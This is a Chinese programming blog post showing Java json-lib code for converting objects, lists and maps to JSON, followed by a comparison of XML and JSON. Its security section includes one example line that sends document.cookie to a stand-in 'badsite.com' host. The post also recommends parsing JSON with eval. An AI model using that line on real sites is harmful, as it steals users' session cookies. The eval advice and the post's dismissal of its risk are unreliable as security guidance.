zoukankan      html  css  js  c++  java
  • Java对象转换为Json对象

    前言

    曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并不是可以依据个人喜好就轻易得出结论的。

    JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因为他们计划下一代接口只支持JSON。

    注* 在进行编码前还需要 commons-beanutils-1.7.0.jar 、 commons-lang-2.5.jar 、commons-logging-1.0.4.jar 、 ezmorph-1.0.6.jar 、 json-lib-1.1-jdk15.jar

    morph-1.1.1.jar

     

    复制代码
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    
    import net.sf.json.JSONArray;
    import net.sf.json.JSONObject;
    
    import com.ch.entity.JSONTestBean;
    import com.ch.entity.Props;
    
    /**
     * Java对象转换为Json对象
     * @author CHH
     * @since 2012-08-04
     */
    
    public class TestJson {
    
        public static void main(String[] args) {
            TestJson j = new TestJson();
            j.ObjectList2json();
        }
    
        /**
         * List对象转换为Json
         */
        public void ObjectList2json() {
            Map map = new HashMap();
            List jlist = new ArrayList();
            //JSONTestBean类的构造方法
            JSONTestBean bean1 = new JSONTestBean("zhangbo", "123123");
            JSONTestBean bean2 = new JSONTestBean("lisi", "65489");
            //Props类的构造方法
            Props props = new Props("127.0.0.1", "8008");
            jlist.add(bean1);
            jlist.add(bean2);
            map.put("Props", props);
            map.put("jsonObjectList", jlist);
            JSONArray jsonArray = JSONArray.fromObject(map);
            System.out.println(jsonArray);
        }
    
        /**
         * 布尔数组转换为Json
         */
        public void arr2json() {
            boolean[] boolArray = new boolean[] { true, false, true };
            JSONArray jsonArray = JSONArray.fromObject(boolArray);
            System.out.println(jsonArray);
            // prints [true,false,true]
        }
    
        /**
         * List转换为Json
         */
        public void list2json() {
            List list = new ArrayList();
            list.add("first");
            list.add("second");
            JSONArray jsonArray = JSONArray.fromObject(list);
            System.out.println(jsonArray);
            // prints ["first","second"]
        }
    
        /**
         * 创建Json格式的数据
         */
        public void createJson() {
            JSONArray jsonArray = JSONArray.fromObject("['json','is','easy']");
            System.out.println(jsonArray);
            // prints ["json","is","easy"]
        }
    
        /**
         * Map转换为Json
         */
        public void map2json() {
            Map map = new HashMap();
            map.put("name", "json");
            map.put("bool", Boolean.TRUE);
            map.put("int", new Integer(1));
            map.put("arr", new String[] { "a", "b" });
            map.put("func", "function(i){ return this.arr[i]; }");
    
            JSONObject json = JSONObject.fromObject(map);
            System.out.println(json);
            // prints
            // ["name":"json","bool":true,"int":1,"arr":["a","b"],"func":function(i){
            // return this.arr[i]; }]
        }
    
        /**
         * 类对象转换为Json
         */
        public void bean2json() {
            JSONObject jsonObject = JSONObject.fromObject(new JSONTestBean(
                    "zhangbo", "234234"));
            System.out.println(jsonObject);
            /*
             * prints {"func1":function(i){ return this.options[i];
             * },"pojoId":1,"name":"json","func2":function(i){ return
             * this.options[i]; }}
             */
        }
    
        /**
         * Json转换为类对象
         */
        public void json2bean() {
            String json = "{name=\"json2\",func1:true,pojoId:1,func2:function(a){ return a; },options:['1','2']}";
            // JSONObject jb = JSONObject.fromString(json);
            // JSONObject.toBean(jb, MyBean.class);
            System.out.println(json);
        }
    
    }
    复制代码

    其他两个实体类:

    View JSONTestBean
    复制代码
     1 /**
     2  * 实体类一
     3  * 
     4  * @author CHH
     5  * @since 2012-08-04
     6  */
     7 public class JSONTestBean {
     8 
     9     private String userName;
    10     private String password;
    11 
    12     public JSONTestBean() {
    13 
    14     }
    15 
    16     public JSONTestBean(String username, String password) {
    17         this.userName = username;
    18         this.password = password;
    19     }
    20 
    21     public String getPassword() {
    22         return password;
    23     }
    24 
    25     public void setPassword(String password) {
    26         this.password = password;
    27     }
    28 
    29     public String getUserName() {
    30         return userName;
    31     }
    32 
    33     public void setUserName(String userName) {
    34         this.userName = userName;
    35     }
    36 }
    复制代码
    View Props
    复制代码
    /**
     * 
     * @author CHH
     * @since 2012-08-04
     */
    public class Props {
    
        private String ip;
        private String port;
    
        public Props() {
        }
    
        public Props(String ip, String port) {
            this.ip = ip;
            this.port = port;
        }
    
        public String getIp() {
            return ip;
        }
    
        public void setIp(String ip) {
            this.ip = ip;
        }
    
        public String getPort() {
            return port;
        }
    
        public void setPort(String port) {
            this.port = port;
        }
    
    }
    复制代码

     

    CHH博客将从下面几个方面来客观比较一下两者

    • 1. 可读性
    • 2. 是否易于在服务端创建数据
    • 3. 是否易于在客户端处理数据
    • 4. 扩展性
    • 5. 调试和故障排除
    • 6. 安全

    可读性

    两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。

    是否易于在服务端创建数据

    XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4jjdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

    是否易于在客户端处理数据

    在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫地选择json。

    扩展性

    可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

    毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码

    1
    2
    3
    4
    var xml = xhr.responseXML;
     var elements = xml.getElementsByTagName("firstName");
     var firstNameEl = elements[0];
     var lastNameEl = firstNameEl.nextSibling;

    如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

    调试和故障排除

    这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

    使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

    在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
    安全性

    有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

    1
    2
    3
    4
    5
    window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
     person : {
     "firstName" : "Subbu",
     "lastName" : "Allamaraju"
     }

    上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。

     

    我的结论

    面向数据的应用,个人比较喜欢使用json,因为它简单和易于在客户端进行处理,或者xml在服务器是无与伦比的,但json在客户端的优势也是很明显的。

    另外,json官方也有一篇专门比较两者的文章,大家可以参考一下:《JSON: The Fat-Free Alternative to XML

  • 相关阅读:
    php if() 括号中为 真详解
    php 写入日志
    trim,rtrim,ltrim详解
    SQlite3 的简单用法。 调用本地时间
    RuntimeError at /host You called this URL via POST, but the URL doesn't end in a slash and you have APPEND_SLASH set. Django can't redirect to the slash URL while maintaining POST data. Change your fo
    D3.js 入门系列3
    js中const,var,let区别
    D3.js 入门系列2 — 选择元素和绑定数据
    D3.js 入门系列1
    SVG 教程03
  • 原文地址:https://www.cnblogs.com/yuxiang204/p/2726256.html
Copyright © 2011-2022 走看看